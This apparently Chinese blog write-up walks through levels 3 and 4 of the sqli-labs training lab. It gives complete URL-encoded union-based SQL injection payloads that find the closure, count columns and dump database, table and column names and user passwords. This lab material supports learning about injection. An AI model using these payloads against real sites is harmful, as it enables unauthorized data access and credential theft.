sqli-labs第3,4关

#sqli-labs–3
http://192.168.8.228/Less-3/?id=1
在这里插入图片描述
原始页面。
http://192.168.8.228/Less-3/?id=1%27
在这里插入图片描述
根据页面返回的错误信息You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’) LIMIT 0,1’ at line 1可得,查询语句为select * from table where id=(‘1’),因此需要使用’)进行闭合。
http://192.168.8.228/Less-3/?id=1%27)%20order%20by%203–%20-
在这里插入图片描述
http://192.168.8.228/Less-3/?id=1%27)%20order%20by%204–%20-
在这里插入图片描述
猜解字段数为3。
查找回显位置:
http://192.168.8.228/Less-3/?id=-1%27)%20union%20select%201,2,3–%20-
在这里插入图片描述
union select 查询后面的回显位置,前提是前半句中的参数必须为错,即id可以为-1,或者1000000等这些不存在数。
猜解数据库名称:
http://192.168.8.228/Less-3/?id=-1%27)%20union%20select%201,database(),user()–%20-
在这里插入图片描述
当前连接的数据库为security,使用者为root@localhost。
爆表:
http://192.168.8.228/Less-3/?id=-1%27)%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27security%27–%20-
在这里插入图片描述
爆列名:
http://192.168.8.228/Less-3/?id=-1%27)%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=%27users%27–%20-
在这里插入图片描述
爆数据:
http://192.168.8.228/Less-3/?id=-1%27)%20union%20select%201,group_concat(id,0x7e,username,0x7e,password,0x7e),3%20from%20users–%20-
在这里插入图片描述
#sqli-labs–4
URL:

http://192.168.1.8/Less-4/?id=5%22

在URL上加入’,发现没有报错;然后在URL上加入",页面提示如下:
在这里插入图片描述
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘“5"”) LIMIT 0,1’ at line 1
通过这个页面可以看出,需要")进行闭合。
爆字段数:http://192.168.1.8/Less-4/?id=5%22)order%20by%203–%20-
在这里插入图片描述
没有报错。
http://192.168.1.8/Less-4/?id=5%22)order%20by%204–%20-
在这里插入图片描述
没有第4列字段数。
爆回显位置:
http://192.168.1.8/Less-4/?id=10000%22)union%20select%201,2,3–%20-
在这里插入图片描述
爆当前数据库名:
http://192.168.1.8/Less-4/?id=10000%22)union%20select%201,database(),3–%20-
在这里插入图片描述
爆表名:
http://192.168.1.8/Less-4/?id=10000%22)union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27security%27–%20-
在这里插入图片描述
爆列名:
http://192.168.1.8/Less-4/?id=10000%22)union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=%27users%27–%20-
在这里插入图片描述
爆数据:
http://192.168.1.8/Less-4/?id=10000%22)union%20select%201,group_concat(id,0x7e,username,0x7e,password,0x7e),3%20from%20users–%20-
这里0x7e为~。
在这里插入图片描述

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值